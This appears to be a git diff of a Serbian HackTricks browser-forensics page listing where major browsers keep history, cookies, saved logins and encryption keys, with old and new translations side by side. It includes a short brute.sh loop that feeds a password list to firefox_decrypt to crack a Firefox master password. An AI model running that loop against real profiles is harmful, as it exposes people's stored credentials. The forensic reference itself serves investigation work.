* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Pristupite danas: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Artifakti pregledača <a href="#id-3def" id="id-3def"></a> ## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Artifakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, poput istorije navigacije, obeleživača i keš podataka. Ovi artifakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka. Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. Ovi artefakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu među pretraživačima, ali generalno čuvaju slične tipove podataka.
Evo sažetka najčešćih artifakata pregledača: Here's a summary of the most common browser artifacts:
* **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima. * **Navigation History**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
* **Automatski podaci**: Predlozi zasnovani na čestim pretragama, pružajući uvide kada se kombinuju sa istorijom navigacije. * **Autocomplete Data**: Predlozi zasnovani na čestim pretragama, nude uvid kada se kombinuju sa istorijom pretrage.
* **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa. * **Bookmarks**: Sajtovi sačuvani od strane korisnika za brzi pristup.
* **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika. * **Extensions and Add-ons**: Ekstenzije ili dodaci pretraživača koje je instalirao korisnik.
* **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu. * **Cache**: Čuva veb sadržaj (npr. slike, JavaScript datoteke) kako bi poboljšao vreme učitavanja veb sajtova, vredno za forenzičku analizu.
* **Prijave**: Sačuvane prijavne informacije. * **Logins**: Sačuvane prijavne informacije.
* **Favikoni**: Ikone povezane sa sajtovima, prikazuju se u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika. * **Favicons**: Ikone povezane sa veb sajtovima, pojavljuju se u karticama i oznakama, korisne za dodatne informacije o posetama korisnika.
* **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača. * **Browser Sessions**: Podaci vezani za otvorene sesije pretraživača.
* **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača. * **Downloads**: Zapisnici datoteka preuzetih putem pretraživača.
* **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja. * **Form Data**: Informacije unesene u veb forme, sačuvane za buduće predloge za automatsko popunjavanje.
* **Sličice**: Pregledne slike veb sajtova. * **Thumbnails**: Pregledne slike veb sajtova.
* **Prilagođeni rečnik.txt**: Reči dodate od strane korisnika u rečnik pregledača. * **Custom Dictionary.txt**: Reči koje je korisnik dodao rečniku pretraživača.
## Firefox ## Firefox
Firefox organizuje korisničke podatke unutar profila, čuvajući ih na specifičnim lokacijama zavisno od operativnog sistema: Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na specifičnim lokacijama u zavisnosti od operativnog sistema:
* **Linux**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Fajl `profiles.ini` unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj prema promenljivoj `Path` unutar `profiles.ini`, smeštenoj u istom direktorijumu kao i sam `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana. A `profiles.ini` datoteka unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj u `Path` varijabli unutar `profiles.ini`, koja se nalazi u istom direktorijumu kao i `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova: Within each profile folder, you can find several important files:
* **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima istorije. * **places.sqlite**: Čuva istoriju, oznake i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima o istoriji.
* Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima. * Use specific SQL queries to extract history and downloads information.
* **bookmarkbackups**: Sadrži rezervne kopije obeleživača. * **bookmarkbackups**: Sadrži rezervne kopije oznaka.
* **formhistory.sqlite**: Čuva podatke o veb obrascima. * **formhistory.sqlite**: Čuva podatke o veb formama.
* **handlers.json**: Upravljači protokolima. * **handlers.json**: Upravljanje protokolima.
* **persdict.dat**: Prilagođene reči rečnika. * **persdict.dat**: Reči iz prilagođenog rečnika.
* **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima. * **addons.json** and **extensions.sqlite**: Informacije o instaliranim dodacima i ekstenzijama.
* **cookies.sqlite**: Čuvanje kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za inspekciju na Windows-u. * **cookies.sqlite**: Skladištenje kolačića, uz [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupno za inspekciju na Windows-u.
* **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **cache2/entries** or **startupCache**: Podaci o kešu, dostupni putem alata kao što je [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Čuva favikone. * **favicons.sqlite**: Čuva favicone.
* **prefs.js**: Korisnička podešavanja i preferencije. * **prefs.js**: Korisničke postavke i preferencije.
* **downloads.sqlite**: Starija baza preuzimanja, sada integrisana u places.sqlite. * **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
* **thumbnails**: Slike pregleda veb sajtova. * **thumbnails**: Mini slike veb sajtova.
* **logins.json**: Šifrovane prijavne informacije. * **logins.json**: Enkriptovane prijavne informacije.
* **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija. * **key4.db** or **key3.db**: Čuva ključeve za enkripciju osetljivih informacija.
Dodatno, provera anti-phishing podešavanja pregledača može se obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene. Additionally, checking the browsers anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled.
Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ To try to decrypt the master password, you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force: With the following script and call you can specify a password file to brute force:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -85,114 +86,123 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py echo "$pass" | python firefox_decrypt.py
done < $passfile done < $passfile
``` ```
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome ## Google Chrome
Google Chrome čuva korisničke profile na specifičnim lokacijama zavisno od operativnog sistema: Google Chrome čuva korisničke profile na specifičnim lokacijama u zavisnosti od operativnog sistema:
- **Linux**: `~/.config/google-chrome/` * **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
U ovim direktorijumima, većina korisničkih podataka se može pronaći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke: Unutar ovih direktorijuma, većina korisničkih podataka može se naći u **Default/** ili **ChromeDefaultData/** folderima. Sledeće datoteke sadrže značajne podatke:
- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) se može koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, unete URL-ove, podnesene forme i osvežavanja stranica. * **History**: Sadrži URL-ove, preuzimanja i ključne reči za pretragu. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) može se koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, otkucane URL-ove, slanje obrazaca i ponovna učitavanja stranica.
- **Cookies**: Čuva kolačiće. Za inspekciju, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html). * **Cookies**: Čuva kolačiće. Za inspekciju, dostupna je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
- **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) za inspekciju. * **Cache**: Drži keširane podatke. Da bi se izvršila inspekcija, korisnici Windows-a mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
- **Bookmarks**: Korisnički obeleživači. * **Bookmarks**: Korisnički obeleživači.
- **Web Data**: Sadrži istoriju formi. * **Web Data**: Sadrži istoriju obrazaca.
- **Favicons**: Čuva favikone veb sajtova. * **Favicons**: Čuva favicon-e sajtova.
- **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki. * **Login Data**: Uključuje podatke za prijavu kao što su korisnička imena i lozinke.
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima. * **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama.
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren. * **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
- **Extensions**: Direktorijumi za proširenja i dodatke pregledača. * **Extensions**: Direktorijumi za ekstenzije i dodatke pretraživača.
- **Thumbnails**: Čuva sličice veb sajtova. * **Thumbnails**: Čuva sličice sajtova.
- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više. * **Preferences**: Datoteka bogata informacijama, uključujući podešavanja za dodatke, ekstenzije, iskačuće prozore, obaveštenja i još mnogo toga.
- **Ugrađena anti-phishing za pregledač**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu. * **Browsers built-in anti-phishing**: Da biste proverili da li su zaštita od phishing-a i zaštita od malvera omogućene, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
## **Obnova podataka iz SQLite baze podataka** ## **SQLite DB Data Recovery**
Kao što možete primetiti u prethodnim sekcijama, kako Chrome tako i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose korišćenjem alata** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). Kao što možete primetiti u prethodnim sekcijama, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **oporaviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja. Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju sačuvanih informacija i njihovih odgovarajućih detalja radi lakšeg pristupa i upravljanja.
### Čuvanje metapodataka ### Metadata Storage
Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (sa VX koji može biti V01, V16 ili V24). Pored toga, fajl `V01.log` može pokazati razlike u vremenu modifikacije u odnosu na `WebcacheVX.data`, što ukazuje na potrebu popravke korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu biti obnovljeni i inspektovani korišćenjem alata poput photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), redom. Unutar tabele **Containers**, može se razlikovati specifične tabele ili kontejneri gde je smešten svaki segment podataka, uključujući detalje keša za druge Microsoft alate poput Skype-a. Metapodaci za Internet Explorer čuvaju se u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gde je VX V01, V16 ili V24). Pored toga, datoteka `V01.log` može pokazati razlike u vremenu modifikacije sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom koristeći `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se oporaviti i pregledati koristeći alate kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). Unutar tabele **Containers**, može se uočiti specifične tabele ili kontejneri gde je svaki segment podataka smešten, uključujući detalje o kešu za druge Microsoft alate kao što je Skype.
### Inspekcija keša ### Cache Inspection
Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju fascikle za ekstrakciju keš podataka. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, poreklo URL-a i vremenske oznake koje pokazuju vreme kreiranja, pristupa, modifikacije i isteka keša. Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju foldera za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime datoteke, direktorijum, broj pristupa, URL izvor i vremenske oznake koje označavaju vreme kreiranja, pristupa, modifikacije i isteka keša.
### Upravljanje kolačićima ### Cookies Management
Kolačiće možete istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji. Kolačići se mogu istraživati koristeći [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), sa metapodacima koji obuhvataju imena, URL-ove, brojeve pristupa i razne vremenske detalje. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
### Detalji preuzimanja ### Download Details
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), pri čemu specifični kontejneri čuvaju podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), sa specifičnim kontejnerima koji drže podatke kao što su URL, tip datoteke i lokacija preuzimanja. Fizičke datoteke se mogu naći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Istorija pregledanja ### Browsing History
Za pregled istorije pregledanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju izdvojenih fajlova istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vreme modifikacije i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`. Da biste pregledali istoriju pretraživanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju ekstraktovanih datoteka istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vremena modifikacije i pristupa, zajedno sa brojevima pristupa. Datoteke istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Uneti URL-ovi ### Typed URLs
Uneti URL-ovi i vremena njihovog korišćenja se čuvaju u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa. Otucani URL-ovi i njihova vremena korišćenja čuvaju se u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova koje je korisnik uneo i njihova poslednja vremena unosa.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su: Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
- **Putanja profila**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Istorija, Kolačići i Preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Podešavanja, Obeleživači i Lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Keš**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Poslednje aktivne sesije**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Podaci Safari pregledača se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju: Safari podaci se čuvaju na `/Users/$User/Library/Safari`. Ključne datoteke uključuju:
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite. * **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenskim oznakama poseta. Koristite `sqlite3` za upite.
- **Downloads.plist**: Informacije o preuzetim fajlovima. * **Downloads.plist**: Informacije o preuzetim datotekama.
- **Bookmarks.plist**: Čuva URL-ove obeleženih stranica. * **Bookmarks.plist**: Čuva obeležene URL-ove.
- **TopSites.plist**: Najposećeniji sajtovi. * **TopSites.plist**: Najčešće posećeni sajtovi.
- **Extensions.plist**: Lista proširenja Safari pregledača. Koristite `plutil` ili `pluginkit` za dobijanje. * **Extensions.plist**: Lista ekstenzija za Safari pretraživač. Koristite `plutil` ili `pluginkit` za preuzimanje.
- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za parsiranje. * **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za analizu.
- **LastSession.plist**: Tabovi iz poslednje sesije. Koristite `plutil` za parsiranje. * **LastSession.plist**: Kartice iz poslednje sesije. Koristite `plutil` za analizu.
- **Ugrađena anti-phishing za pregledač**: Proverite korišćenjem `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 ukazuje na aktivnu funkciju. * **Browsers built-in anti-phishing**: Proverite koristeći `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 označava da je funkcija aktivna.
## Opera ## Opera
Podaci Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format za istoriju i preuzimanja sa Chrome-om. Opera podaci se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i deli format Chrome-a za istoriju i preuzimanja.
- **Ugrađena anti-phishing za pregledač**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`. * **Browsers built-in anti-phishing**: Proverite tako što ćete videti da li je `fraud_protection_enabled` u datoteci Preferences postavljeno na `true` koristeći `grep`.
Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju čuvanih od strane različitih veb pregledača. Ove putanje i komande su ključne za pristup i razumevanje podataka o pretraživanju koje čuvaju različiti web pretraživači.
## Reference ## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako izgradnju i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,70 +1,71 @@
# Lokalno skladištenje u oblaku # Lokalna Cloud Skladišta
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
